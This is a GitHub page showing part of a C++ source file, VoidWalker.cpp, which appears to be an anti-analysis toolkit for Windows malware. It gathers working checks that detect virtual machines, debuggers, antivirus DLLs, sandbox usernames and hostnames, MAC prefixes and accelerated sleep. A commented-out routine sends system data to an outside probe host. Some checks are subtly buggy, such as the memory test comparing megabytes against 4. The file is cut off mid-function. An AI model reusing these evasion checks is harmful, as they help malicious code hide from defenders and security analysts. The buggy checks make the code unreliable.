-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathVoidWalker.cpp
1492 lines (1242 loc) · 45.4 KB
/
VoidWalker.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <ws2tcpip.h>
#include <powerbase.h>
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <string>
#include <comdef.h>
#include <wbemcli.h>
#include <intrin.h>
#include <cstring>
#include <vector>
#include <regex>
#include <d3d11.h>
#include <dxgi.h>
#include <iphlpapi.h>
#include "helper.h"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "PowrProf.lib")
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "d3d11.lib")
#pragma comment(lib, "dxgi.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef void (WINAPI* pRtlInitUnicodeString)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
typedef NTSTATUS (NTAPI* pZwQueryLicenseValue)(
PUNICODE_STRING ValueName,
ULONG* Type,
PVOID Data,
ULONG DataSize,
ULONG* ResultDataSize);
typedef NTSTATUS (NTAPI* pNtDelayExecution)(
IN BOOLEAN Alertable,
IN PLARGE_INTEGER DelayInterval);
/*
通过SystemInfo检测CPU核心数
*/
BOOL checkCPUCorNum() {
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
if (sysInfo.dwNumberOfProcessors < 4){
return TRUE;
}
return FALSE;
}
/*
通过 GlobalMemoryStatusEx 检测物理内存大小 (以 MB 为单位)
*/
BOOL checkPhysicalMemory() {
MEMORYSTATUSEX memInfo;
memInfo.dwLength = sizeof(MEMORYSTATUSEX);
DWORDLONG expectation = 4;
if (GlobalMemoryStatusEx(&memInfo)) {
return (memInfo.ullTotalPhys / (1024 * 1024)) < 4; // 转换为MB
}
}
/*
通过 DeviceIoControl 获取系统总磁盘大小 需要管理员权限
*/
BOOL checkTotalDiskSize()
{
INT disk = 256 * 0.9;
HANDLE hDrive;
GET_LENGTH_INFORMATION size;
DWORD lpBytes;
// 打开物理磁盘
hDrive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
// 获取磁盘大小信息
BOOL result = DeviceIoControl(hDrive, IOCTL_DISK_GET_LENGTH_INFO, NULL, 0, &size, sizeof(GET_LENGTH_INFORMATION), &lpBytes, NULL);
CloseHandle(hDrive);
// 判断磁盘大小是否小于给定值 转GB
return (size.Length.QuadPart / 1073741824) < disk;
}
BOOL checkProcess()
{
// 使用 std::vector 来存储进程名
std::vector<std::string> list = { "VBoxService.exe", "VBoxTray.exe", "vmware.exe", "vmtoolsd.exe","qemu","fiddler","process explorer","ida","olldbg","x64dbg","x32dbg","Detonate" }; PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
// 创建进程快照
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult) {
char sz_Name[MAX_PATH] = { 0 };
WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, sz_Name, sizeof(sz_Name), NULL, NULL);
for (size_t i = 0; i < list.size(); ++i) {
if (strcmp(sz_Name, list[i].c_str()) == 0) {
CloseHandle(hProcessSnap);
return TRUE;
}
}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return FALSE;
}
BOOL ManageWMIInfo(std::string& result, const std::string& table, const std::wstring& wcol)
{
HRESULT hres = CoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hres)) {
return FALSE; // 初始化 COM 库失败
}
IWbemLocator* pLoc = NULL;
hres = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
if (FAILED(hres)) {
CoUninitialize();
return FALSE; // 创建 WMI Locator 实例失败
}
IWbemServices* pSvc = NULL;
hres = pLoc->ConnectServer(
_bstr_t(L"ROOT\\CIMV2"), // WMI 命名空间
NULL, // 用户名，NULL 表示当前用户
NULL, // 用户密码，NULL 表示当前密码
0, // 本地化
NULL, // 安全标志
0, // 权限
0, // 上下文对象
&pSvc // 返回的 IWbemServices 接口
);
pLoc->Release();
if (FAILED(hres)) {
CoUninitialize();
return FALSE; // 连接 WMI 服务器失败
}
// 设置代理空白标记
hres = CoSetProxyBlanket(
pSvc,
RPC_C_AUTHN_WINNT,
RPC_C_AUTHZ_NONE,
NULL,
RPC_C_AUTHN_LEVEL_CALL,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
EOAC_NONE
);
if (FAILED(hres)) {
pSvc->Release();
CoUninitialize();
return FALSE; // 设置代理失败
}
// 执行 WMI 查询
IEnumWbemClassObject* pEnumerator = NULL;
std::string query = "SELECT * FROM " + table;
hres = pSvc->ExecQuery(
bstr_t("WQL"),
bstr_t(query.c_str()),
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
NULL,
&pEnumerator
);
if (FAILED(hres)) {
pSvc->Release();
CoUninitialize();
return FALSE; // 执行查询失败
}
IWbemClassObject* pclsObj;
ULONG uReturn = 0;
while (pEnumerator) {
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
if (0 == uReturn) {
break; // 没有更多数据
}
VARIANT vtProp;
VariantInit(&vtProp);
hr = pclsObj->Get(wcol.c_str(), 0, &vtProp, 0, 0);
if (SUCCEEDED(hr)) {
_bstr_t bstrValue(vtProp.bstrVal);
result = (const char*)bstrValue; // 将获取到的 BSTR 转换为 std::string
}
VariantClear(&vtProp);
pclsObj->Release();
}
// 清理
pSvc->Release();
pEnumerator->Release();
CoUninitialize();
return !result.empty(); // 返回是否成功获取到结果
}
BOOL checkHardwareInfo()
{
// 先获取主板序列号
std::string ret;
ManageWMIInfo(ret, "Win32_BaseBoard", L"SerialNumber");
if (ret == "None") {
return TRUE; // 如果没有获取到序列号，认为是虚拟机环境
}
// 获取磁盘信息，检查是否包含虚拟机标志
ManageWMIInfo(ret, "Win32_DiskDrive", L"Caption");
if (ret.find("VMware") != std::string::npos || ret.find("VBOX") != std::string::npos || ret.find("Virtual HD") != std::string::npos) {
return TRUE; // 如果磁盘信息包含虚拟机相关关键词，则为虚拟机环境
}
// 获取计算机型号，检查是否包含虚拟机标志
ManageWMIInfo(ret, "Win32_ComputerSystem", L"Model");
if (ret.find("VMware") != std::string::npos || ret.find("VirtualBox") != std::string::npos || ret.find("Virtual Machine") != std::string::npos) {
return TRUE; // 如果计算机型号包含虚拟机相关关键词，则为虚拟机环境
}
// 如果所有检查都未检测到虚拟机标志，返回 FALSE
return FALSE;
}
BOOL checkBootTime()
{
// 获取系统启动时间（单位：分）
ULONGLONG uptime = GetTickCount64() / 1000 / 60;
return uptime < 30;
}
BOOL checkHyperVPresent() {
int cpuInfo[4];
__cpuid(cpuInfo, 0x1); // 获取 CPUID 信息，0x1 表示获取 CPU 信息
return (cpuInfo[2] & (1 << 31)) != 0; // 检查 HYPERV_HYPERVISOR_PRESENT_BIT（第31位）
}
BOOL checkTempFileCount(INT reqFileCount)
{
int fileCount = 0;
DWORD dwRet;
LPSTR pszOldVal = (LPSTR)malloc(MAX_PATH * sizeof(char));
// 从环境变量获取 TEMP 目录路径
dwRet = GetEnvironmentVariableA("TEMP", pszOldVal, MAX_PATH);
if (dwRet == 0 || dwRet > MAX_PATH) {
free(pszOldVal);
return FALSE;
}
std::string tempDir = pszOldVal;
tempDir += "\\*";
free(pszOldVal); // 释放分配的内存
WIN32_FIND_DATAA data;
HANDLE hFind = FindFirstFileA(tempDir.c_str(), &data);
if (hFind == INVALID_HANDLE_VALUE) {
return FALSE;
}
do {
// 跳过目录 `.` 和 `..`
if (strcmp(data.cFileName, ".") == 0 || strcmp(data.cFileName, "..") == 0) {
continue;
}
// 仅统计文件，排除子目录
if (!(data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
fileCount++;
if (fileCount >= reqFileCount) {
FindClose(hFind);
return FALSE;
}
}
} while (FindNextFileA(hFind, &data) != 0);
FindClose(hFind); // 关闭句柄
// 如果文件数量小于指定值，返回 TRUE
return TRUE;
}
BOOL checkCPUTemperature()
{
HRESULT hres;
BOOL res = -1;
do
{
// Step 1: --------------------------------------------------
// Initialize COM. ------------------------------------------
hres = CoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hres))
{
// cout << "Failed to initialize COM library. Error code = 0x" << hex << hres << endl;
break; // Program has failed.
}
// Step 2: --------------------------------------------------
// Set general COM security levels --------------------------
hres = CoInitializeSecurity(
NULL,
-1, // COM authentication
NULL, // Authentication services
NULL, // Reserved
RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication
RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation
NULL, // Authentication info
EOAC_NONE, // Additional capabilities
NULL // Reserved
);
if (FAILED(hres))
{
// cout << "Failed to initialize security. Error code = 0x" << hex << hres << endl;
CoUninitialize();
break; // Program has failed.
}
// Step 3: ---------------------------------------------------
// Obtain the initial locator to WMI -------------------------
IWbemLocator* pLoc = NULL;
hres = CoCreateInstance(
CLSID_WbemLocator,
0,
CLSCTX_INPROC_SERVER,
IID_IWbemLocator, (LPVOID*)&pLoc);
if (FAILED(hres))
{
// cout << "Failed to create IWbemLocator object." << " Err code = 0x" << hex << hres << endl;
CoUninitialize();
break; // Program has failed.
}
// Step 4: -----------------------------------------------------
// Connect to WMI through the IWbemLocator::ConnectServer method
IWbemServices* pSvc = NULL;
// Connect to the root\cimv2 namespace with
// the current user and obtain pointer pSvc
// to make IWbemServices calls.
hres = pLoc->ConnectServer(
// _bstr_t(L"ROOT\\CIMV2"), // Object path of WMI namespace
_bstr_t(L"ROOT\\WMI"),
NULL, // User name. NULL = current user
NULL, // User password. NULL = current
0, // Locale. NULL indicates current
NULL, // Security flags.
0, // Authority (for example, Kerberos)
0, // Context object
&pSvc // pointer to IWbemServices proxy
);
if (FAILED(hres))
{
// cout << "Could not connect. Error code = 0x" << hex << hres << endl;
pLoc->Release();
CoUninitialize();
break; // Program has failed.
}
// cout << "Connected to ROOT\\WMI WMI namespace" << endl;
// Step 5: --------------------------------------------------
// Set security levels on the proxy -------------------------
hres = CoSetProxyBlanket(
pSvc, // Indicates the proxy to set
RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx
RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx
NULL, // Server principal name
RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx
RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
NULL, // client identity
EOAC_NONE // proxy capabilities
);
if (FAILED(hres))
{
// cout << "Could not set proxy blanket. Error code = 0x" << hex << hres << endl;
pSvc->Release();
pLoc->Release();
CoUninitialize();
break; // Program has failed.
}
// Step 6: --------------------------------------------------
// Use the IWbemServices pointer to make requests of WMI ----
// For example, get the name of the operating system
IEnumWbemClassObject* pEnumerator = NULL;
hres = pSvc->ExecQuery(
bstr_t("WQL"),
bstr_t("SELECT * FROM MSAcpi_ThermalZoneTemperature"),
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
NULL,
&pEnumerator);
if (FAILED(hres))
{
// cout << "Query for operating system name failed." << " Error code = 0x" << hex << hres << endl;
pSvc->Release();
pLoc->Release();
CoUninitialize();
break; // Program has failed.
}
// Step 7: -------------------------------------------------
// Get the data from the query in step 6 -------------------
IWbemClassObject* pclsObj = NULL;
ULONG uReturn = 0;
while (pEnumerator)
{
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
if (0 == uReturn) // VM中结果为空
{
if (-1 == res)
{
res = TRUE;
}
break;
}
VARIANT vtProp;
// Get the value of the Name property
hr = pclsObj->Get(L"CurrentTemperature", 0, &vtProp, 0, 0);
// res = vtProp.ullVal / 10.0 - 273.15; // 开氏转摄氏
//std::cout << vtProp.ullVal / 10.0 - 273.15 << std::endl;
res = FALSE;
VariantClear(&vtProp);
pclsObj->Release();
}
// Cleanup
// ========
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
CoUninitialize();
} while (false);
return res;
}
BOOL checkGPUMemory() {
// 初始化设备和设备上下文
D3D_FEATURE_LEVEL featureLevel;
ID3D11Device* device = nullptr;
ID3D11DeviceContext* context = nullptr;
HRESULT hr = D3D11CreateDevice(
nullptr, // 使用默认适配器
D3D_DRIVER_TYPE_HARDWARE, // 使用硬件驱动
nullptr, // 不使用软件驱动
0, // 无调试标志
nullptr, 0, // 默认特性级别
D3D11_SDK_VERSION, // SDK 版本
&device, // 返回设备指针
&featureLevel, // 返回特性级别
&context // 返回设备上下文
);
if (FAILED(hr)) {
std::cerr << "Failed to create D3D11 device." << std::endl;
return FALSE;
}
// 创建 DXGI Factory
IDXGIFactory* dxgiFactory = nullptr;
hr = CreateDXGIFactory(__uuidof(IDXGIFactory), (void**)&dxgiFactory);
if (FAILED(hr)) {
std::cerr << "Failed to create DXGI factory." << std::endl;
device->Release();
return FALSE;
}
// 枚举所有显卡适配器
IDXGIAdapter* adapter = nullptr;
UINT adapterIndex = 0;
BOOL lowMemoryGPU = TRUE; // 默认假设所有显卡都属于 low memory
while (dxgiFactory->EnumAdapters(adapterIndex, &adapter) != DXGI_ERROR_NOT_FOUND) {
// 获取显卡描述
DXGI_ADAPTER_DESC adapterDesc;
hr = adapter->GetDesc(&adapterDesc);
if (FAILED(hr)) {
adapter->Release();
break;
}
//std::wcout << L"GPU Name: " << adapterDesc.Description << std::endl;
//std::wcout << L"Dedicated Video Memory: " << adapterDesc.DedicatedVideoMemory / 1024 / 1024 << L" MB" << std::endl;
// 如果显卡显存大于1GB，则认为该显卡不是低显存
if ((adapterDesc.DedicatedVideoMemory / 1024 / 1024) > 1024) {
lowMemoryGPU = FALSE; // 至少有一张显卡显存大于1GB，标记为非low
}
adapter->Release();
adapterIndex++;
}
// 清理资源
dxgiFactory->Release();
device->Release();
return lowMemoryGPU;
}
BOOL checkMacAddrPrefix() {
const std::vector<std::string>& macPrefixes = { "08-00-27", "00-03-FF", "00-05-69", "00-0C-29", "00-50-56" };
PIP_ADAPTER_INFO pIpAdapterInfo = nullptr;
unsigned long stSize = sizeof(IP_ADAPTER_INFO);
int nRel = GetAdaptersInfo(pIpAdapterInfo, &stSize);
if (nRel == ERROR_BUFFER_OVERFLOW) {
pIpAdapterInfo = (PIP_ADAPTER_INFO)new BYTE[stSize];
nRel = GetAdaptersInfo(pIpAdapterInfo, &stSize);
}
if (nRel != ERROR_SUCCESS) {
// std::cerr << "Error getting adapter info." << std::endl;
return false;
}
bool foundMatchingPrefix = false;
// 遍历所有网卡
while (pIpAdapterInfo) {
// 检查是否匹配任何预设的MAC前缀
for (const auto& prefix : macPrefixes) {
// 提取前缀部分
std::string macPrefix = prefix;
macPrefix.erase(std::remove(macPrefix.begin(), macPrefix.end(), '-'), macPrefix.end()); // 去除"-"
// 提取前3个字节，转换成一个字符数组
if (macPrefix.length() != 6) {
continue; // 前缀必须是6个字符（每个字节的两个十六进制字符）
}
unsigned char prefixBytes[3];
for (int i = 0; i < 3; ++i) {
prefixBytes[i] = std::stoi(macPrefix.substr(i * 2, 2), nullptr, 16);
}
// 如果前缀匹配
if (!memcmp(prefixBytes, pIpAdapterInfo->Address, 3)) {
// std::cout << "Matched prefix: " << prefix << std::endl;
foundMatchingPrefix = true;
break;
}
}
pIpAdapterInfo = pIpAdapterInfo->Next;
}
if (pIpAdapterInfo) {
delete[] pIpAdapterInfo;
}
return foundMatchingPrefix;
}
BOOL caseInsensitiveCompare(const std::string& str1, const std::string& str2) {
if (str1.size() != str2.size()) return false;
return std::equal(str1.begin(), str1.end(), str2.begin(),
[](char c1, char c2) {
return std::tolower(c1) == std::tolower(c2);
});
}
BOOL checkUsernames() {
// 获取用户名
DWORD size = 256;
char username[256];
GetUserNameA(username, &size);
// 黑名单
std::vector<std::string> usernames = {
"CurrentUser", "Sandbox", "Emily", "HAPUBWS", "Hong Lee", "IT-ADMIN", "Johnson",
"Miller", "milozs", "Peter Wilson", "timmy", "user", "sand box", "malware",
"maltest", "test user", "virus", "John Doe", "Sangfor", "JOHN-PC"
};
std::string currentUsername(username);
// std:: cout << currentUsername << std::endl;
for (const auto& knownUsername : usernames) {
// 大小写不敏感的比较
if (caseInsensitiveCompare(currentUsername, knownUsername)) {
return TRUE;
}
}
return FALSE;
}
BOOL checkNetBIOS() {
// 获取计算机的 NetBIOS 名称
CHAR szComputerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD dwSize = sizeof(szComputerName) / sizeof(szComputerName[0]);
GetComputerNameA(szComputerName, &dwSize);
std::string netbiosName(szComputerName);
if (netbiosName.empty()) {
return FALSE; // 获取 NetBIOS 名称失败
}
// 已知的 NetBIOS 名称列表（模拟的沙箱检测）
std::vector<std::string> netbiosNames = {
"SANDBOX", "7SILVIA", "HANSPETER-PC", "JOHN-PC", "MUELLER-PC", "WIN7 - TRAPS", "FORTINET","TEQUILABOOMBOOM"
};
// 遍历已知名称列表，进行比较
for (const auto& knownNetbiosName : netbiosNames) {
if (caseInsensitiveCompare(netbiosName, knownNetbiosName)) {
return TRUE;
}
}
return FALSE;
}
std::wstring getParentProcessName() {
// 获取当前进程的进程ID
DWORD currentProcessId = GetCurrentProcessId();
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return L"";
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
// 遍历进程列表
if (Process32First(hSnapshot, &pe32)) {
do {
// 找到当前进程的父进程
if (pe32.th32ProcessID == currentProcessId) {
DWORD parentProcessId = pe32.th32ParentProcessID;
if (Process32First(hSnapshot, &pe32)) {
do {
if (pe32.th32ProcessID == parentProcessId) {
std::wstring parentProcessName = pe32.szExeFile;
CloseHandle(hSnapshot);
return parentProcessName;
}
} while (Process32Next(hSnapshot, &pe32));
}
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return L"";
}
BOOL isParentRundll32() {
std::wstring parentProcessName = getParentProcessName();
if (!parentProcessName.empty()) {
// 判断父进程是否是 rundll32.exe
if (_wcsicmp(parentProcessName.c_str(), L"rundll32.exe") == 0) {
return TRUE;
}
}
return FALSE;
}
BOOL checkCurrentProcessFileName(const std::wstring& targetSubstring) {
wchar_t path[MAX_PATH];
// 获取当前进程的可执行文件路径
DWORD length = GetModuleFileNameW(NULL, path, MAX_PATH);
if (length == 0) {
std::wcerr << L"Failed to get executable path" << std::endl;
return false;
}
// 获取路径中的文件名部分
std::wstring executablePath(path);
size_t pos = executablePath.find_last_of(L"\\");
if (pos != std::wstring::npos) {
executablePath = executablePath.substr(pos + 1); // 提取文件名部分
}
// 检查文件名是否包含目标子字符串（不区分大小写）
return executablePath.find(targetSubstring) == std::wstring::npos;
}
BOOL check_run_path() {
// 获取当前工作目录
char buf[256];
GetCurrentDirectoryA(256, buf);
std::string workingdir(buf);
// 如果路径长度小于等于6，直接返回FALSE
if (workingdir.length() <= 6) {
return FALSE;
}
// 正则表达式用于匹配以 C:\ 开头的路径
std::regex pattern("^C:\\\\[A-Za-z0-9_]+$"); // 只匹配一级目录
if (std::regex_match(workingdir, pattern)) {
// 常见的排除文件夹
std::vector<std::string> excludeDirs = { "Windows", "ProgramData", "Users" };
// 获取工作目录的子目录名称（C:\后面的第一个文件夹）
size_t firstSlash = workingdir.find("\\", 3); // 从 C:\ 后开始查找
size_t secondSlash = workingdir.find("\\", firstSlash + 1); // 查找第二个反斜杠位置
std::string firstFolder = workingdir.substr(firstSlash + 1, secondSlash - firstSlash - 1);
for (const auto& excludeDir : excludeDirs) {
if (firstFolder == excludeDir) {
return TRUE;
}
}
return FALSE;
}
return FALSE;
}
BOOL checkdlls() {
// 黑名单 DLL 列表
std::vector<std::wstring> dlls = {
L"avghookx.dll", // AVG
L"avghooka.dll", // AVG
L"snxhk.dll", // Avast
L"sbiedll.dll", // Sandboxie
L"dbghelp.dll", // WindBG
L"api_log.dll", // iDefense Lab
L"dir_watch.dll", // iDefense Lab
L"pstorec.dll", // SunBelt Sandbox
L"vmcheck.dll", // Virtual PC
L"wpespy.dll", // WPE Pro
L"cmdvrt64.dll", // Comodo Container
L"cmdvrt32.dll" // Comodo Container
};
for (const auto& dll : dlls) {
HMODULE hDll = GetModuleHandle(dll.c_str());
if (hDll != NULL) {
return TRUE;
}
}
return FALSE;
}
BOOL mouse_movement() {
POINT positionA = {};
POINT positionB = {};
/* Retrieve the position of the mouse cursor, in screen coordinates */
GetCursorPos(&positionA);
/* Wait a moment */
Sleep(5000);
/* Retrieve the poition gain */
GetCursorPos(&positionB);
if ((positionA.x == positionB.x) && (positionA.y == positionB.y))
/* Probably a sandbox, because mouse position did not change. */
return TRUE;
else
return FALSE;
}
BOOL accelerated_sleep()
{
DWORD dwStart = 0, dwEnd = 0, dwDiff = 0;
DWORD dwMillisecondsToSleep = 60 * 1000;
/* Retrieves the number of milliseconds that have elapsed since the system was started */
dwStart = GetTickCount64();
/* Let's sleep 1 minute so Sandbox is interested to patch that */
Sleep(dwMillisecondsToSleep);
/* Do it again */
dwEnd = GetTickCount64();
/* If the Sleep function was patched*/
dwDiff = dwEnd - dwStart;
if (dwDiff > dwMillisecondsToSleep - 1000) // substracted 1s just to be sure
return FALSE;
else
return TRUE;
}
std::string httpGet(const std::string& host, const std::string& path) {
// 初始化 Winsock
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
std::cerr << "WSAStartup failed" << std::endl;
return "";
}
// 创建套接字
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
std::cerr << "Socket creation failed" << std::endl;
WSACleanup();
return "";
}
struct addrinfo hints = {}, * result;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
if (getaddrinfo(host.c_str(), "80", &hints, &result) != 0) {
std::cerr << "Failed to resolve host: " << host << std::endl;
closesocket(sock);
WSACleanup();
return "";
}
if (connect(sock, result->ai_addr, static_cast<int>(result->ai_addrlen)) == SOCKET_ERROR) {
std::cerr << "Connection failed" << std::endl;
freeaddrinfo(result);
closesocket(sock);
WSACleanup();
return "";
}
freeaddrinfo(result);
// 构建 HTTP GET 请求
std::string request = "GET " + path + " HTTP/1.1\r\n";
request += "Host: " + host + "\r\n";
request += "Connection: close\r\n\r\n";
// 发送请求
if (send(sock, request.c_str(), static_cast<int>(request.length()), 0) == SOCKET_ERROR) {
std::cerr << "Send failed" << std::endl;
closesocket(sock);
WSACleanup();
return "";
}
// 接收响应
char buffer[4096];
std::string response;
int bytes_received;
while ((bytes_received = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0) {
buffer[bytes_received] = '\0'; // 确保字符串结束
response += buffer;
}
if (bytes_received == SOCKET_ERROR) {
std::cerr << "Receive failed" << std::endl;
}
// 关闭套接字
closesocket(sock);
WSACleanup();
return response;
}
BOOL power_capabilities()
{
SYSTEM_POWER_CAPABILITIES powerCaps;
BOOL bFound = FALSE;
if (GetPwrCapabilities(&powerCaps) == TRUE)
{
//// 上传至沙箱测试
//std::cout << (powerCaps.SystemS1 ? 1 : 0) << std::endl;
//std::cout << (powerCaps.SystemS2 ? 1 : 0) << std::endl;
//std::cout << (powerCaps.SystemS3 ? 1 : 0) << std::endl;
//std::cout << (powerCaps.SystemS4 ? 1 : 0) << std::endl;
//std::string host = "asdasda.free.beeceptor.com";
//std::string path = "/?";
//path.append(std::string(powerCaps.SystemS1 ? "1" : "0") +
// std::string(powerCaps.SystemS2 ? "1" : "0") +
// std::string(powerCaps.SystemS3 ? "1" : "0") +
// std::string(powerCaps.SystemS4 ? "1" : "0"));
//try {
// std::string response = httpGet(host, path);
// std::cout << "Response data:\n" << response << std::endl;
//}
//catch (const std::exception& e) {
// std::cerr << "Exception: " << e.what() << std::endl;
//}
if ((powerCaps.SystemS1 | powerCaps.SystemS2 | powerCaps.SystemS3 | powerCaps.SystemS4) == FALSE)
{
bFound = (powerCaps.ThermalControl == FALSE);
}
}
return bFound;
}
BOOL query_license_value()
{
pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)(GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlInitUnicodeString"));
pZwQueryLicenseValue NtQueryLicenseValue = (pZwQueryLicenseValue)(GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwQueryLicenseValue"));
if (RtlInitUnicodeString == nullptr || NtQueryLicenseValue == nullptr)
return FALSE;
UNICODE_STRING LicenseValue;
RtlInitUnicodeString(&LicenseValue, L"Kernel-VMDetection-Private");
ULONG Result = 0, ReturnLength;
NTSTATUS Status = NtQueryLicenseValue(&LicenseValue, NULL, reinterpret_cast<PVOID>(&Result), sizeof(ULONG), &ReturnLength);
if (NT_SUCCESS(Status)) {
return (Result != 0);
}
return FALSE;
}
#define LODWORD(_qw) ((DWORD)(_qw))
BOOL rdtsc_diff_locky()
{
ULONGLONG tsc1;
ULONGLONG tsc2;
ULONGLONG tsc3;
DWORD i = 0;
// Try this 10 times in case of small fluctuations
for (i = 0; i < 10; i++)
{
tsc1 = __rdtsc();
// Waste some cycles - should be faster than CloseHandle on bare metal
GetProcessHeap();
tsc2 = __rdtsc();
// Waste some cycles - slightly longer than GetProcessHeap() on bare metal
CloseHandle(0);
tsc3 = __rdtsc();
